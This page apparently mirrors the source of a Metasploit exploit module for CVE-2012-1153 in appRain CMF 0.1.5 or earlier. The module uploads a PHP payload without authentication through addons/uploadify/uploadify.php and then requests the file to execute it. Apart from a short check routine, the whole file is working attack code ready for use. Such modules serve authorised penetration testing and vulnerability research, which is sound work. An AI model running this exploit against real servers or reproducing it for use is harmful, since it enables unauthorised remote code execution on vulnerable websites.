Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/apprain_upload_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info={})11super(update_info(info,12'Name' => "appRain CMF Arbitrary PHP File Upload Vulnerability",13'Description' => %q{14This module exploits a vulnerability found in appRain's Content Management15Framework (CMF), version 0.1.5 or less. By abusing the uploadify.php file, a16malicious user can upload a file to the uploads/ directory without any17authentication, which results in arbitrary code execution.18},19'License' => MSF_LICENSE,20'Author' =>21[22'EgiX', #Discovery, PoC23'sinn3r' #Metasploit24],25'References' =>26[27['CVE', '2012-1153'],28['OSVDB', '78473'],29['EDB', '18392'],30['BID', '51576']31],32'Payload' =>33{34'BadChars' => "\x00"35},36'DefaultOptions' =>37{38'EXITFUNC' => 'thread'39},40'Platform' => ['php'],41'Arch' => ARCH_PHP,42'Targets' =>43[44['appRain 0.1.5 or less', {}]45],46'Privileged' => false,47'DisclosureDate' => '2012-01-19',48'DefaultTarget' => 0))4950register_options(51[52OptString.new('TARGETURI', [true, 'The base path to appRain', '/appRain-q-0.1.5'])53])54end5556def check57uri = target_uri.path58uri << '/' if uri[-1,1] != '/'5960res = send_request_cgi({61'method' => 'GET',62'uri' => normalize_uri(uri, 'addons/uploadify/uploadify.php')63})6465if res and res.code == 200 and res.body.empty?66return Exploit::CheckCode::Appears67else68return Exploit::CheckCode::Safe69end70end7172def exploit73uri = target_uri.path7475peer = "#{rhost}:#{rport}"76payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'7778post_data = "--o0oOo0o\r\n"79post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"80post_data << "<?php "81post_data << payload.encoded82post_data << " ?>\r\n"83post_data << "--o0oOo0o\r\n"8485print_status("Sending PHP payload (#{payload_name})")86res = send_request_cgi({87'method' => 'POST',88'uri' => normalize_uri(uri, "addons/uploadify/uploadify.php"),89'ctype' => 'multipart/form-data; boundary=o0oOo0o',90'data' => post_data91})9293# If the server returns 200 and the body contains our payload name,94# we assume we uploaded the malicious file successfully95if not res or res.code != 200 or res.body !~ /#{payload_name}/96print_error("File wasn't uploaded, aborting!")97return98end99100print_status("Executing PHP payload (#{payload_name})")101# Execute our payload102res = send_request_cgi({103'method' => 'GET',104'uri' => normalize_uri(uri, "addons/uploadify/uploads/#{payload_name}")105})106107# If we don't get a 200 when we request our malicious payload, we suspect108# we don't have a shell, either. Print the status code for debugging purposes.109if res and res.code != 200110print_status("Server returned #{res.code.to_s}")111end112end113end114115116